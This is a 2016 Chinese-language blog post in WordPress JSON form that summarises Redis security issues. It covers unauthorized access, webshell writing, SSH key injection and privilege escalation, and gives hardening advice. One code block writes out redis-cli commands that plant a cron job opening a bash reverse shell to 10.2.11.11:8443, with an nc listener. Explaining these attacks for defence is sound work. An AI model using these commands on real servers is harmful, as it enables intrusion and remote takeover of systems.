{"id":2819,"date":"2016-08-07T16:26:09","date_gmt":"2016-08-07T08:26:09","guid":{"rendered":"http:\/\/ixyzero.com\/blog\/?p=2819"},"modified":"2016-08-07T16:26:09","modified_gmt":"2016-08-07T08:26:09","slug":"redis%e5%ae%89%e5%85%a8%e5%b0%8f%e7%bb%93","status":"publish","type":"post","link":"https:\/\/ixyzero.com\/blog\/archives\/2819.html","title":{"rendered":"Redis\u5b89\u5168\u5c0f\u7ed3"},"content":{"rendered":"<p>=Start=<\/p>\n<h5>\u7f18\u7531\uff1a<\/h5>\n<p>\u8fd1\u5e74\u6765\uff0c\u968f\u7740Redis\u7684\u6d41\u884c\uff0c\u8d8a\u6765\u8d8a\u591a\u7684\u5b89\u5168\u7814\u7a76\u4eba\u5458\u6ce8\u610f\u5230\u4e86Redis\u7684\u5b89\u5168\u95ee\u9898\uff0c\u5e76\u901a\u8fc7Redis\u53d1\u8d77\u653b\u51fb\u3002\u867d\u7136\u6211\u4e0d\u505a\u90a3\u65b9\u9762\uff0c\u4f46\u662f\u4e86\u89e3\u4e00\u4e0b\u548cRedis\u76f8\u5173\u7684\u5b89\u5168\u653b\u51fb\u624b\u6bb5\u4e5f\u662f\u5f88\u6709\u5fc5\u8981\u7684\u3002<\/p>\n<h5>\u6b63\u6587\uff1a<\/h5>\n<h6>\u548cRedis\u76f8\u5173\u7684\u5b89\u5168\u95ee\u9898\uff1a<\/h6>\n<ul>\n<li><span style=\"color: #ff0000;\"><strong>\u8fdc\u7a0b\u672a\u6388\u6743\u8bbf\u95ee<\/strong><\/span><\/li>\n<\/ul>\n<p>\u5229\u7528\u6761\u4ef6\uff1a\u9ed8\u8ba4\u60c5\u51b5\u4e0b\u5982\u679c\u6ca1\u6709\u7528\u300cbind\u6307\u4ee4\u300d\u5bf9\u53ef\u8fde\u63a5IP\u505a\u9650\u5236\uff0c\u5219\u4f1a\u51fa\u73b0\u300c\u8fdc\u7a0b\u672a\u6388\u6743\u8bbf\u95ee\u300d\u7684\u60c5\u51b5\uff0c\u6613\u88ab\u653b\u51fb\u8005\u7528\u6765\u83b7\u53d6\u654f\u611f\u4fe1\u606f\u4ee5\u53ca\u8fdb\u884c\u8fdb\u4e00\u6b65\u653b\u51fb\u3002<\/p>\n<p>\u5229\u7528\u65b9\u5f0f\uff1a\u672c\u5730\u76f4\u63a5\u7528redis-cli\u6216\u56fe\u5f62\u5316\u7684\u5de5\u5177\u8fde\u63a5\u8fdc\u7a0b\u7684Redis\u6570\u636e\u5e93\u3002<\/p>\n<ul>\n<li><span style=\"color: #ff0000;\"><strong>\u83b7\u53d6Webshell<\/strong><\/span><\/li>\n<\/ul>\n<p>\u5229\u7528\u6761\u4ef6\uff1aredis\u8fdc\u7a0b\u672a\u6388\u6743\u8bbf\u95ee\uff0c\u77e5\u9053Web\u76ee\u5f55\u7684\u7edd\u5bf9\u8def\u5f84\uff0c\u4e14\u8fd0\u884credis\u7684\u7528\u6237\u6709\u5bf9Web\u76ee\u5f55\u7684\u5199\u6743\u9650\u3002<\/p>\n<p>\u5229\u7528\u65b9\u5f0f\uff1a\u8fde\u4e0a\u8fdc\u7aef\u672a\u6388\u6743\u8bbf\u95ee\u7684redis\u5e76\u7528\u547d\u4ee4\u5411Web\u76ee\u5f55\u5199\u5165\u4e00\u53e5\u8bdd\u6728\u9a6c\uff08\u4e5f\u53ef\u4ee5\u662f\u5927\u9a6c\uff09\uff0c\u7136\u540e\u672c\u5730\u7528\u83dc\u5200\u8fde\u63a5\u3002<\/p>\n<ul>\n<li><span style=\"color: #ff0000;\"><strong>\u83b7\u53d6SSH\u8fde\u63a5<\/strong><\/span><\/li>\n<\/ul>\n<p>\u5229\u7528\u6761\u4ef6\uff1aredis\u8fdc\u7a0b\u672a\u6388\u6743\u8bbf\u95ee\uff0c\u77e5\u9053\u8fd0\u884credis\u7684\u7528\u6237\u540d\uff0c\u4e14\u8fd0\u884credis\u7684\u7528\u6237\u53ef\u4ee5\u8fdb\u884cSSH\u8fde\u63a5\u3002<\/p>\n<p>\u5229\u7528\u65b9\u5f0f\uff1a\u5728\u672c\u5730\u751f\u4ea7\u516c\u79c1\u94a5\u6587\u4ef6\uff0c\u7136\u540e\u8fde\u4e0a\u8fdc\u7aefredis\u5e76\u5c06\u81ea\u5df1\u7684\u516c\u94a5\u5199\u5165\u8fdc\u7aef\u670d\u52a1\u5668\u7684 authotrized_keys \u6587\u4ef6\u91cc\uff0c\u7136\u540e\u653b\u51fb\u8005\u5373\u53ef\u8fdc\u7a0b\u5229\u7528\u81ea\u5df1\u7684\u79c1\u94a5\u767b\u5f55\u8be5\u670d\u52a1\u5668\u3002<\/p>\n<ul>\n<li><span style=\"color: #ff0000;\"><strong>\u901a\u8fc7Redis\u63d0\u6743<\/strong><\/span><\/li>\n<\/ul>\n<p>\u5229\u7528\u6761\u4ef6\uff1a\u5df2\u83b7\u53d6\u4e00\u4e2a\u4f4e\u6743\u9650\u7684Webshell\uff0c\u670d\u52a1\u5668\u4e0a\u8fd0\u884c\u7740\u672c\u5730\u53ef\u8bbf\u95ee\u7684redis\uff0c\u4e14\u8fd0\u884credis\u7684\u7528\u6237\u6743\u9650\u8f83\u9ad8\u3002<\/p>\n<p>\u5229\u7528\u65b9\u5f0f\uff1a\u901a\u8fc7Webshell\u64cd\u4f5credis\u5199SSH key\u6587\u4ef6\u4ee5\u8fdb\u884c\u63d0\u6743\u64cd\u4f5c\u3002<\/p>\n<ul>\n<li><span style=\"color: #ff0000;\"><strong>\u5176\u4ed6\u7684\u4e00\u4e9b\u5229\u7528\uff08Redis+crontab\uff09<\/strong><\/span><\/li>\n<\/ul>\n<pre class=\"lang:default decode:true\">$ redis-cli config set dir \/var\/spool\/cron\/\n$ redis-cli config set dbfilename root\n$ echo -e \"\\n\\n*\/1 * * * * bash -i &gt;&amp; \/dev\/tcp\/10.2.11.11\/8443 0&gt;&amp;1 \\n\\n\" | redis-cli -x set 1\n$ redis-cli save\n\n[user@10.2.11.11 ~]$ nc -lvv 8443<\/pre>\n<ul>\n<li><span style=\"color: #0000ff;\"><strong>Redis\u5b89\u5168\u914d\u7f6e<\/strong><\/span><\/li>\n<\/ul>\n<ol>\n<li><span style=\"color: #ff0000;\"><strong>\u4ee5\u4f4e\u6743\u9650\u542f\u52a8<\/strong><\/span>\uff1b<\/li>\n<li><span style=\"color: #ff0000;\">\u8bbe\u7f6ebind\u6307\u4ee4\uff0c\u9650\u5b9a\u53ef\u4ee5\u8fde\u63a5Redis\u670d\u52a1\u5668\u7684IP<\/span>\uff1b<\/li>\n<li>\u4fee\u6539Redis\u7684\u9ed8\u8ba4\u7aef\u53e3\uff1b<\/li>\n<li><span style=\"color: #ff0000;\"><strong>\u8bbe\u7f6e\u5bc6\u7801<\/strong><\/span>\uff1b<\/li>\n<li><span style=\"color: #ff0000;\">\u7981\u7528\u90e8\u5206\u5371\u9669\u547d\u4ee4<\/span>\uff1b<\/li>\n<li>\u5982\u679c\u5fc5\u9700\u8981\u5bf9\u5916\u63d0\u4f9b\u670d\u52a1\u7684\u8bdd\uff0c\u8bbe\u7f6eiptables\u89c4\u5219\uff1b<\/li>\n<\/ol>\n<h5>\u53c2\u8003\u94fe\u63a5\uff1a<\/h5>\n<ul>\n<li>\u5229\u7528redis\u5199webshell<br \/>\n<a href=\"http:\/\/www.leavesongs.com\/PENETRATION\/write-webshell-via-redis-server.html\">http:\/\/www.leavesongs.com\/PENETRATION\/write-webshell-via-redis-server.html<\/a><br \/>\n<a href=\"http:\/\/www.secpulse.com\/archives\/5357.html\">http:\/\/www.secpulse.com\/archives\/5357.html<\/a><\/li>\n<li>redis\u914d\u7f6e\u4e0d\u5f53\u53ef\u76f4\u63a5\u5bfc\u81f4\u670d\u52a1\u5668\u88ab\u63a7\u5236<br \/>\n<a href=\"http:\/\/www.secpulse.com\/archives\/40406.html\">http:\/\/www.secpulse.com\/archives\/40406.html<\/a><\/li>\n<li>Redis \u672a\u6388\u6743\u8bbf\u95ee\u914d\u5408 SSH key \u6587\u4ef6\u5229\u7528\u5206\u6790<br \/>\n<a href=\"http:\/\/blog.knownsec.com\/2015\/11\/analysis-of-redis-unauthorized-of-expolit\/\">http:\/\/blog.knownsec.com\/2015\/11\/analysis-of-redis-unauthorized-of-expolit\/<\/a><\/li>\n<li>Redis\u672a\u6388\u6743\u8bbf\u95ee<br \/>\n<a href=\"http:\/\/singled0g.com\/2015\/11\/12\/redis-attack\/\">http:\/\/singled0g.com\/2015\/11\/12\/redis-attack\/<\/a><br \/>\n<a href=\"http:\/\/www.cdxy.me\/tag\/redis\/\">http:\/\/www.cdxy.me\/tag\/redis\/<\/a><\/li>\n<li>Redis\u5b89\u5168\u603b\u7ed3<br \/>\n<a href=\"http:\/\/bl4ck.in\/index.php\/penetration\/Attack-Redis.html\">http:\/\/bl4ck.in\/index.php\/penetration\/Attack-Redis.html<\/a><\/li>\n<li>A few things about Redis security<br \/>\n<a href=\"http:\/\/antirez.com\/news\/96\">http:\/\/antirez.com\/news\/96<\/a><br \/>\n<a href=\"https:\/\/www.reddit.com\/r\/redis\/comments\/3zv85m\/new_security_feature_redis_protected_mode\/\">https:\/\/www.reddit.com\/r\/redis\/comments\/3zv85m\/new_security_feature_redis_protected_mode\/<\/a><br \/>\n<a href=\"https:\/\/news.ycombinator.com\/item?id=10537852\">https:\/\/news.ycombinator.com\/item?id=10537852<\/a><br \/>\n<a href=\"http:\/\/static.nosec.org\/download\/redis_crackit_v1.1.pdf\">http:\/\/static.nosec.org\/download\/redis_crackit_v1.1.pdf<\/a><\/li>\n<li>redis\u5229\u7528\u59ff\u52bf\u6536\u96c6<br \/>\n<a href=\"https:\/\/phpinfo.me\/2016\/07\/07\/1275.html\">https:\/\/phpinfo.me\/2016\/07\/07\/1275.html<\/a><\/li>\n<\/ul>\n<p>=END=<\/p>\n","protected":false},"excerpt":{"rendered":"<p>=Start= \u7f18\u7531\uff1a \u8fd1\u5e74\u6765\uff0c\u968f\u7740Redis\u7684\u6d41\u884c\uff0c\u8d8a\u6765\u8d8a\u591a\u7684\u5b89\u5168\u7814\u7a76\u4eba\u5458\u6ce8\u610f\u5230\u4e86Redis\u7684\u5b89\u5168\u95ee\u9898\uff0c\u5e76\u901a [&hellip;]<\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[14,23,11,25],"tags":[503,37],"class_list":["post-2819","post","type-post","status-publish","format-standard","hentry","category-database","category-knowledgebase-2","category-linux","category-security","tag-redis","tag-security"],"views":7765,"_links":{"self":[{"href":"https:\/\/ixyzero.com\/blog\/wp-json\/wp\/v2\/posts\/2819","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/ixyzero.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/ixyzero.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/ixyzero.com\/blog\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/ixyzero.com\/blog\/wp-json\/wp\/v2\/comments?post=2819"}],"version-history":[{"count":0,"href":"https:\/\/ixyzero.com\/blog\/wp-json\/wp\/v2\/posts\/2819\/revisions"}],"wp:attachment":[{"href":"https:\/\/ixyzero.com\/blog\/wp-json\/wp\/v2\/media?parent=2819"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/ixyzero.com\/blog\/wp-json\/wp\/v2\/categories?post=2819"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/ixyzero.com\/blog\/wp-json\/wp\/v2\/tags?post=2819"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}